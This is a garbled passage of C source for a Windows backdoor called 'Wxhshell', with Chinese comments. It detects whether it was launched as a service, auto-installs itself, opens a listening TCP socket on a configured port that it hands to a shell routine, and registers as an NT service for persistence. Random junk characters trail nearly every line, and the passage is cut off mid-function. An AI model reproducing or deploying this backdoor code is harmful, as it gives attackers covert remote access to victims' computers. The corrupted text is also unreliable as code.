DWORD PebBaseAddress; H0t#J
DWORD AffinityMask; -=UvOzw
DWORD BasePriority; K9VP@[zbJ
ULONG UniqueProcessId; Yb[)ETf^
ULONG InheritedFromUniqueProcessId; pa?AKj]
} PROCESS_BASIC_INFORMATION; 87)/dHc
'iwTvkf{
PROCNTQSIP NtQueryInformationProcess; Z?9G2<i
\)aFYDq#\
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3KkJQ5a
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R `ob;>[Q
/S^>06{-+
HANDLE hProcess; ^HTvw~]5
PROCESS_BASIC_INFORMATION pbi; |m*l/@1
0 A8G8^T
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $DnJ/hg;qD
if(NULL == hInst ) return 0; %X%f0J
)7P>Hj
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *g:Dg I 2
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Gb"kl.j
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y=<zR9f`
#KHj.Vg
if (!NtQueryInformationProcess) return 0; P+_1*lOG
"^
dMCS@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^ AZv4H*~
if(!hProcess) return 0; P-yVc2YH
C+t|fSJ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z3u6m0!
sE{5&aCSR
CloseHandle(hProcess); n3eWqwQ$5
E\9HZ;}G
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5UK}AkEe&x
if(hProcess==NULL) return 0; N693eN!
J5Q.v;
HMODULE hMod; )S#?'gt*
char procName[255]; UxMei
unsigned long cbNeeded; *Csxf[O
WigTNg4
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2sEG#/Y=
Gtvbm
CloseHandle(hProcess); : ?Z9
}~0}B[Rf
if(strstr(procName,"services")) return 1; // 以服务启动 Y$|KY/)H)
j~9Y0jz_
return 0; // 注册表启动 5dX0C
} c0X1})q$
c2s73iz
// 主模块 o(D_ /]'8
int StartWxhshell(LPSTR lpCmdLine) 20Jlf?
{ L$, Kdpj
SOCKET wsl; cmd7-2
BOOL val=TRUE; "s`#`'
int port=0; *kj+6`:CPs
struct sockaddr_in door; ox";%|PP1
K,P`V
&m?
if(wscfg.ws_autoins) Install(); ~0Zy$L/D
N!\1O,
port=atoi(lpCmdLine); `J7@G]X;2
KO[Ty'
if(port<=0) port=wscfg.ws_port; R.GDCGAL
N];K
WSADATA data; 9Nz}'a;?>
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8`I,KkWg
*W 04$N
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; lm +s5}*%o
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .H&XPW
door.sin_family = AF_INET; sYk#XNH
door.sin_addr.s_addr = inet_addr("127.0.0.1"); !9V;
8g
door.sin_port = htons(port); VPVg\K{
o?#-Tkb
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n%QWs1 b
closesocket(wsl); K&-uW _0
return 1; j~9![s!
} V9>$M=
#??[;xjs!
if(listen(wsl,2) == INVALID_SOCKET) { T7Ju7_q}
closesocket(wsl); ~eiD(04^r*
return 1; 5pff}Ru`
} Kz]\o"K
Wxhshell(wsl); 1@~ 1vsJ
WSACleanup(); eG.s|0`
"412w^5[T
return 0; Tg=P*HY6
Tx'anP
} 4:s,e<Tc4v
&C?4'e
// 以NT服务方式启动 fP\*5|7%R
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VY=YI}E
{ 8@FgvWC
DWORD status = 0; (H]NL
DWORD specificError = 0xfffffff; DW)81*~g
9R[PpE''
serviceStatus.dwServiceType = SERVICE_WIN32; yRp&pUtb
serviceStatus.dwCurrentState = SERVICE_START_PENDING; _0iV6Bj
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <e@4;Z(h04
serviceStatus.dwWin32ExitCode = 0; lpbcpB
serviceStatus.dwServiceSpecificExitCode = 0; p@@*F+
serviceStatus.dwCheckPoint = 0; \34:]NM
serviceStatus.dwWaitHint = 0; (7??5gjh
sv6m)pwh
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |#(y?! A^
if (hServiceStatusHandle==0) return; cCG!X%9
B,ao%3t
status = GetLastError(); 6_;n bqY&
if (status!=NO_ERROR) [mG!-.ll
{ 'PTQ
S,E
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2f rwU~y
serviceStatus.dwCheckPoint = 0; Ju"c!vu~
serviceStatus.dwWaitHint = 0; &}#zG5eu
serviceStatus.dwWin32ExitCode = status; 9!dG Xq
serviceStatus.dwServiceSpecificExitCode = specificError; +z~bH!$2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); z6Nz)$!_i
return; "_+8z_
} p$Floubh]
\23m*3"W
serviceStatus.dwCurrentState = SERVICE_RUNNING; p@d_Ru
serviceStatus.dwCheckPoint = 0; >YcaFnY
serviceStatus.dwWaitHint = 0; .kfx\,lgm
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Fc^!="H
} ;):E 8;B)
Xhpcu1nA
// 处理NT服务事件,比如:启动、停止 ~L_1&q^4!i
VOID WINAPI NTServiceHandler(DWORD fdwControl) aR)w~s\6
{ wOEc~WOd
switch(fdwControl) i
G%R'/*
{ :=:m4UJb
case SERVICE_CONTROL_STOP: AO(zl*4
serviceStatus.dwWin32ExitCode = 0; EO/41O
serviceStatus.dwCurrentState = SERVICE_STOPPED; T#&